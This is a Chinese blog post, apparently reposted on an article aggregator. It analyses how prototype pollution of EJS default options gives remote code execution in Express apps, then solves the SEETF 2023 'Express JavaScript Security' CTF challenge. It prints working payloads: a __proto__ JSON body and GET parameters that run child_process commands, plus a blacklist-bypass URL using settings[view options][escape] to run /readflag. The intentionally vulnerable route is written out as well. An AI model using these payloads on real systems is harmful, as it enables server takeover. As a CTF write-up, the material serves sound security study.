ejs默认配置 原型链污染

2024-01-07 14:12
文章标签 配置 默认 原型 污染 ejs

本文主要是介绍ejs默认配置 原型链污染,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文章目录

  • ejs默认配置 造成原型链污染
    • 漏洞背景
    • 漏洞分析
    • 漏洞利用
  • 例题 [SEETF 2023]Express JavaScript Security


ejs默认配置 造成原型链污染

参考文章

漏洞背景

EJS维护者对原型链污染的问题有着很好的理解,并使用非常安全的函数清理他们创建的每个对象

利用Render()

exports.render = function (template, d, o) {var data = d || utils.createNullProtoObjWherePossible();var opts = o || utils.createNullProtoObjWherePossible();// No options object -- if there are optiony names// in the data, copy them to optionsif (arguments.length == 2) {utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA);}return handleCache(opts, template)(data);
};

以及createNullProtoObjWherePossible()

exports.createNullProtoObjWherePossible = (function () {if (typeof Object.create == 'function') {return function () {return Object.create(null);};}if (!({__proto__: null} instanceof Object)) {return function () {return {__proto__: null};};}// Not possible, just pass throughreturn function () {return {};};
})();

参考文章是这么说的,分析上述代码,可以知道不能滥用原型链污染库内新创建的对象。因此,对于用户提供的对象来说情况并非如此,从 EJS 维护者的角度来看,用户向库提供的输入不是 EJS 的责任。

如何理解呢,就是说我们提供的可以被污染的对象并不会遭到上述函数清理。

漏洞分析

渲染模板时ejs 动态创建函数,该函数将使用传递给它的数据组装模板。该函数是根据模板动态创建的字符串编译的。所有这些都发生在最终被调用的 Template 类的编译函数中,在这种情况下,当创建模板对象时,将使用受感染的选项。

exports.compile = function compile(template, opts) {var templ;...templ = new Template(template, opts);return templ.compile();
};

现在我们知道可以控制配置对象的原型后,那么就可以进一步利用

在这里插入图片描述

我们已经知道当编译模板时,它会使用多个配置元素来处理模板中的代码片段,并将其转换为可执行的 JavaScript 函数。这些配置元素可能包括模板标签、控制流语句、输出语句等。不过其中大多数都使用_JS_IDENTIFIER 正则表达式进行清理

在这里插入图片描述

但是并不意味着所有都会被正则清理,我们看向下面代码

compile: function () {/** @type {string} */var src;/** @type {ClientFunction} */var fn;var opts = this.opts;var prepended = '';var appended = '';/** @type {EscapeCallback} */var escapeFn = opts.escapeFunction;/** @type {FunctionConstructor} */var ctor;/** @type {string} */var sanitizedFilename = opts.filename ? JSON.stringify(opts.filename) : 'undefined';...if (opts.client) {src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;if (opts.compileDebug) {src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;}}...return returnedFn;

我们可以知道将opts.escapeFunction赋值给escapeFn,如果opts.client存在,那么escapeFn就会在函数体内从而被调用

由于 opts.client 和 opts.escapeFunction 默认情况下未设置,因此可以原型链污染它们到达eval接收器并实现RCE

{"__proto__": {"client": 1,"escapeFunction": "JSON.stringify; process.mainModule.require('child_process').exec('calc')"}
}

漏洞利用

// Setup app
const express = require("express");
const app  = express();
const port = 3000;// Select ejs templating library
app.set('view engine', 'ejs');// Routes
app.get("/", (req, res) => {res.render("index");
})app.get("/vuln", (req, res) => {// simulate SSPP vulnerabilityvar a = req.query.a;var b = req.query.b;var c = req.query.c;var obj = {};obj[a][b] = c;res.send("OK!");
})// Start app
app.listen(port, () => {console.log(`App listening on port ${port}`)
})

GET传参payload

第一次: /vuln?a=__proto__&b=escapeFunction&c=JSON.stringify; process.mainModule.require('child_process').exec('calc')
第二次: /vuln?a=__proto__&b=client&c=true

在这里插入图片描述

例题 [SEETF 2023]Express JavaScript Security

源码

const express = require('express');
const ejs = require('ejs');const app = express();app.set('view engine', 'ejs');const BLACKLIST = ["outputFunctionName","escapeFunction","localsName","destructuredLocals"
]app.get('/', (req, res) => {return res.render('index');
});app.get('/greet', (req, res) => {const data = JSON.stringify(req.query);if (BLACKLIST.find((item) => data.includes(item))) {return res.status(400).send('Can you not?');}return res.render('greet', {...JSON.parse(data),cache: false});
});app.listen(3000, () => {console.log('Server listening on port 3000')
})

分析一下,app.set('view engine', 'ejs');说明ejs模板是默认配置,在/greet路由下,接收GET参数并赋值给data变量,然后黑名单检测,调用ejs模板进行渲染其中解析data的json数据,说明ejs配置可控。

我们前文利用的payload是有escapeFunction关键字的,并且污染的过程是我们手动添加/vuln上去的,所以我们要寻找可以利用的地方

通常情况下,ejs模板只允许在数据对象中传递以下相对无害的选项

var _OPTS_PASSABLE_WITH_DATA = ['delimiter', 'scope', 'context', 'debug', 'compileDebug','client', '_with', 'rmWhitespace', 'strict', 'filename', 'async'];
// We don't allow 'cache' option to be passed in the data obj for
// the normal `render` call, but this is where Express 2 & 3 put it
// so we make an exception for `renderFile`
var _OPTS_PASSABLE_WITH_DATA_EXPRESS = _OPTS_PASSABLE_WITH_DATA.concat('cache');

但是我们找到settings['view options']可用于将任意选项传递给EJS,这将是我们利用的点

跟进一下,会调用shallowCopy()进行赋值给opts

viewOpts = data.settings['view options'];
if (viewOpts) {utils.shallowCopy(opts, viewOpts);
}

而在渲染模板的时候会跟进到Template类中,发现关键语句

options.escapeFunction = opts.escape || opts.escapeFunction || utils.escapeXML;

也就是说虽然escapeFunction被过滤了,但是我们可以利用opts.escape去替换

settings['view options'][escape]=...

将前文漏洞利用的payload稍加修改一下,然后添加上greet.ejs中的三个配置参数

在这里插入图片描述

得到最终payload

/greet?name=test&font=test&fontSize=test&settings[view options][escape]=function(){return process.mainModule.require('child_process').execSync('/readflag')}&settings[view options][client]=1

注:题目源码已经JSON.stringify了,/readflag可以在dockerfile中得到信息

在这里插入图片描述

这篇关于ejs默认配置 原型链污染的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/580164

相关文章

Nginx中配置使用非默认80端口进行服务的完整指南

《Nginx中配置使用非默认80端口进行服务的完整指南》在实际生产环境中,我们经常需要将Nginx配置在其他端口上运行,本文将详细介绍如何在Nginx中配置使用非默认端口进行服务,希望对大家有所帮助... 目录一、为什么需要使用非默认端口二、配置Nginx使用非默认端口的基本方法2.1 修改listen指令

mysql5.7.15winx64配置全过程

《mysql5.7.15winx64配置全过程》文章详细介绍了MySQL5.7.15免安装版的配置步骤,包括解压安装包、设置环境变量、修改配置文件、初始化数据目录、安装服务、启动数据库、登录及密码修改... 目录前言一、首先下载安装包二、安android装步骤1.第一步解压文件2.配置环境变量3.复制my-

Jenkins的安装与简单配置过程

《Jenkins的安装与简单配置过程》本文简述Jenkins在CentOS7.3上安装流程,包括Java环境配置、RPM包安装、修改JENKINS_HOME路径及权限、启动服务、插件安装与系统管理设置... 目录www.chinasem.cnJenkins安装访问并配置JenkinsJenkins配置邮件通知

Conda国内镜像源及配置过程

《Conda国内镜像源及配置过程》文章介绍Conda镜像源使用方法,涵盖临时指定单个/多个源、永久配置及恢复默认设置,同时说明main(官方稳定)、free(逐渐弃用)、conda-forge(社区更... 目录一、Conda国内镜像源二、Conda临时使用镜像源指定单个源临时指定多个源创建环境时临时指定源

MySQL配置多主复制的实现步骤

《MySQL配置多主复制的实现步骤》多主复制是一种允许多个MySQL服务器同时接受写操作的复制方式,本文就来介绍一下MySQL配置多主复制的实现步骤,具有一定的参考价值,感兴趣的可以了解一下... 目录1. 环境准备2. 配置每台服务器2.1 修改每台服务器的配置文件3. 安装和配置插件4. 启动组复制4.

通过配置nginx访问服务器静态资源的过程

《通过配置nginx访问服务器静态资源的过程》文章介绍了图片存储路径设置、Nginx服务器配置及通过http://192.168.206.170:8007/a.png访问图片的方法,涵盖图片管理与服务... 目录1.图片存储路径2.nginx配置3.访问图片方式总结1.图片存储路径2.nginx配置

更改linux系统的默认Python版本方式

《更改linux系统的默认Python版本方式》通过删除原Python软链接并创建指向python3.6的新链接,可切换系统默认Python版本,需注意版本冲突、环境混乱及维护问题,建议使用pyenv... 目录更改系统的默认python版本软链接软链接的特点创建软链接的命令使用场景注意事项总结更改系统的默

nginx配置错误日志的实现步骤

《nginx配置错误日志的实现步骤》配置nginx代理过程中,如果出现错误,需要看日志,可以把nginx日志配置出来,以便快速定位日志问题,下面就来介绍一下nginx配置错误日志的实现步骤,感兴趣的可... 目录前言nginx配置错误日志总结前言在配置nginx代理过程中,如果出现错误,需要看日志,可以把

SpringBoot结合Knife4j进行API分组授权管理配置详解

《SpringBoot结合Knife4j进行API分组授权管理配置详解》在现代的微服务架构中,API文档和授权管理是不可或缺的一部分,本文将介绍如何在SpringBoot应用中集成Knife4j,并进... 目录环境准备配置 Swagger配置 Swagger OpenAPI自定义 Swagger UI 底

Oracle迁移PostgreSQL隐式类型转换配置指南

《Oracle迁移PostgreSQL隐式类型转换配置指南》Oracle迁移PostgreSQL时因类型差异易引发错误,需通过显式/隐式类型转换、转换关系管理及冲突处理解决,并配合验证测试确保数据一致... 目录一、问题背景二、解决方案1. 显式类型转换2. 隐式转换配置三、维护操作1. 转换关系管理2.